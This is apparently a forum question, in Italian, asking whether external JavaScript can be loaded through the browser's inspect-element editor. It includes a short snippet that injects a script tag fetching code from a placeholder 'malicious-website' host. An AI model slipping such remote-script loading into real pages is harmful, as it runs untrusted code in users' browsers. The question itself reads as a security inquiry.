È possibile caricare script JS esterni tramite la funzione "controlla elementi"?

1. Apri Ispeziona elemento

2. Fai clic con il pulsante destro del mouse sul tag del corpo o, in ogni caso, su Modifica come HTML in questo modo:

   <button onclick="loadScript();">;Click to load external script.</button>
   <script>
   function loadScript() {
       var script = document.createElement('script');
   
       script.setAttribute('type', 'text/javascript');
       script.setAttribute('src', 'http://malicious-website/malicious-script.js');
       document.head.appendChild(script);
   }
   </script>
   

Quindi, questo tipo di attacco è possibile?